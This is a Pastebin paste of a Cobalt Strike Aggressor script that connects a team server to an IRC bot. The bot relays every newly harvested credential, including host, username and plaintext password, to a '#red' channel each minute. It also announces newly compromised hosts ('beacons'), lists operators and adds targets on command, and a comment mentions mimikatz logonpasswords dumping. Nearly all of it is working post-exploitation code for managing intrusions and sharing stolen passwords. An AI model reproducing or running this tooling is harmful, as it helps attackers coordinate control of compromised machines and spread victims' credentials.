devzspy

Aggressor Script IRC Bot

May 8th, 2020
393
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.29 KB | None | 0 0
  1. global('%credentials');
  2.  
  3. %credentials = %();
  4.  
  5. #Get the initial credentials stored on the team server to compare against later. This is done as soon as the script executes / bot connects to server
  6. sub getCredentials {
  7. $flag = $1; #init / new_cred_check
  8. foreach $entry (credentials()) {
  9. $host = $entry['host'];
  10. $realm = $entry['realm'];
  11. $user = $entry['user'];
  12. $password = $entry['password'];
  13. $source = $entry['source'];
  14. $hostname = "";
  15.  
  16. @user_list = @();
  17.  
  18. $sizeof = size(keys(%credentials[$host]));
  19. if($sizeof ne $null) {
  20. foreach $key (keys(%credentials[$host])) {
  21. push(@user_list, $key);
  22. }
  23. }
  24.  
  25. foreach $beacon (beacons()) {
  26. if($host eq $beacon['internal']) {
  27. $hostname = $beacon['computer'];
  28. }
  29. }
  30.  
  31. $check = iff($user in @user_list, "true", "false");
  32. if($check eq "false") {
  33. %credentials[$host][$user] = @($password);
  34. if($flag eq "new_cred_check") {
  35. $channel = "#red";
  36. $msg = "\c4New account found on " . $hostname . " | IP: " . $host . " | Realm: " . $realm . " | Username: " . $user . " | Password : " . $password . " | Source: " . $source;
  37. irc_msg($handle, $channel, $msg);
  38. }
  39. }
  40. else if($check eq "true") {
  41. if($password !isin %credentials[$host][$user]) {
  42. push(%credentials[$host][$user], $password);
  43. if($flag eq "new_cred_check") {
  44. $channel = "#red";
  45. $msg = "\c4New account found on " . $hostname . " | IP: " . $host . " | Realm: " . $realm . " | Username: " . $user . " | Password : " . $password . " | Source: " . $source;
  46. irc_msg($handle, $channel, $msg);
  47. }
  48. }
  49. }
  50. }
  51. #println(%credentials);
  52. }
  53.  
  54. sub irc_close {
  55. println($1, "QUIT :Good bye!");
  56. closef($1);
  57. }
  58.  
  59. # irc_join($handle, "#armitage");
  60. sub irc_join {
  61. println($1, "JOIN $2");
  62. }
  63.  
  64. # irc_msg($handle, "#red", "Hello World");
  65. sub irc_msg {
  66. println($1, "PRIVMSG $2 : $+ $3");
  67. }
  68.  
  69. sub irc_connect {
  70. getCredentials("init");
  71. local('$handle');
  72.  
  73. $handle = connect($1, $2);
  74. fork({
  75. local('$temp');
  76. println($handle, "PASS PASSWORD");
  77. println($handle, "USER a b c :Cobalt Strike Bot");
  78. println($handle, "NICK $nick");
  79.  
  80. while $temp (readln($handle)) {
  81. # keep this IRC connection alive
  82. if ("PING*" iswm $temp) {
  83. println($handle, "PONG " . substr($temp, 5));
  84. }
  85. # extract channel messages
  86. else if ($temp ismatch ":(.*?)!.* PRIVMSG (#.*?) :(.*)") {
  87. local('$from $channel $message');
  88. ($from $channel, $message) = matched();
  89. fireEvent("irc_public", $handle, $from, $channel, $message);
  90. }
  91. # fire an event for everything else..
  92. else {
  93. fireEvent("irc_other", $handle, "$temp");
  94. }
  95. }
  96. }, \$handle, $nick => $3);
  97.  
  98. return $handle;
  99. }
  100.  
  101. #
  102. # example...
  103. #
  104. on irc_public {
  105. local('$handle $from $channel $text');
  106. ($handle, $from, $channel, $text) = @_;
  107. #println("< $from $+ : $+ channel $+ > $text");
  108.  
  109. if ($text eq "!beacons") {
  110. foreach $beacon (beacons()) {
  111. irc_msg($handle, $channel, "\c7$beacon");
  112. }
  113. }
  114. else if ($text eq "!csusers") {
  115. $listUsers = "";
  116. $userListSize = size(users());
  117. $i = 0;
  118. foreach $user (users()) {
  119. if($i < $userListSize) {
  120. $listUsers .= $user . ", ";
  121. }
  122. else {
  123. $listUsers .= $user;
  124. }
  125. $i++;
  126. }
  127. irc_msg($handle, $channel, "\c2Active CStrike Users: " . $listUsers);
  128. }
  129. else if($text hasmatch "!addtarget") {
  130. @split = split(" ", $text);
  131. if(size(@split) < 3 || size(@split) > 4) {
  132. irc_msg($handle, $channel, "\c7Invalid number of arguments. Syntax is !addtarget ip_addr hostname operating_system");
  133. }
  134. else {
  135. $ipAddr = @split[1];
  136. $hostname = @split[2];
  137. $os = @split[3];
  138.  
  139. host_update($ipAddr, $hostname, $os, $null, $null);
  140.  
  141. $msg = "\c7Added a new target with an IP Address: $ipAddr - Hostname: $hostname - OS: $os";
  142.  
  143. irc_msg($handle, $channel, $msg);
  144. }
  145. }
  146. else if($text eq "!help") {
  147. @commands = @("!beacons (outputs all beacon metadata)", "!csusers (lists users on CStrike Server)",
  148. "!help (this menu)", "!quit (makes bot disconnect)", "!addtarget ip host os (adds a new target to CStrike Server)");
  149. $msg = "\c2Following commands are available:";
  150. irc_msg($handle, $channel, $msg);
  151.  
  152. foreach $cmd (@commands) {
  153. irc_msg($handle, $channel, "\c2$cmd");
  154. }
  155. }
  156. else if ($text eq "!quit") {
  157. irc_msg($handle, $channel, "Good bye!");
  158. irc_close($handle);
  159. }
  160. }
  161.  
  162. on irc_other {
  163. local('$handle $text');
  164. ($handle, $text) = @_;
  165. #println($text);
  166.  
  167. # End of /MOTD command is a good time for an auto-join
  168. if (":* 422 * :*" iswm $text) {
  169. irc_join($handle, "#red");
  170. }
  171. }
  172.  
  173.  
  174. on beacon_initial {
  175. $beacon_id = $1;
  176. $hostname = beacon_info($beacon_id, "computer");
  177. $ipAddr = beacon_info($beacon_id, "host");
  178. $user = beacon_info($beacon_id, "user");
  179. $channel = "#red";
  180.  
  181. $msg = "\c4New beacon detected! Hostname: " . $hostname . " | IP Address: " . $ipAddr . " | User: " . $user;
  182.  
  183. irc_msg($handle, $channel, $msg);
  184. }
  185.  
  186. #Check for logonpasswords command, if recently executed, check credentials again to see if anything new was found
  187. on beacon_tasked {
  188. $id = $1;
  189. $output = $2;
  190. $when = $3;
  191.  
  192. #println("$1 $2 $3");
  193. #65058 Tasked beacon to run mimikatz's sekurlsa::logonpasswords command 1499470586447
  194. }
  195.  
  196. on heartbeat_1m {
  197. getCredentials("new_cred_check");
  198. }
  199.  
  200. $handle = irc_connect("localhost", 6667, "CStrikeBot");
Add Comment
Please, Sign In to add comment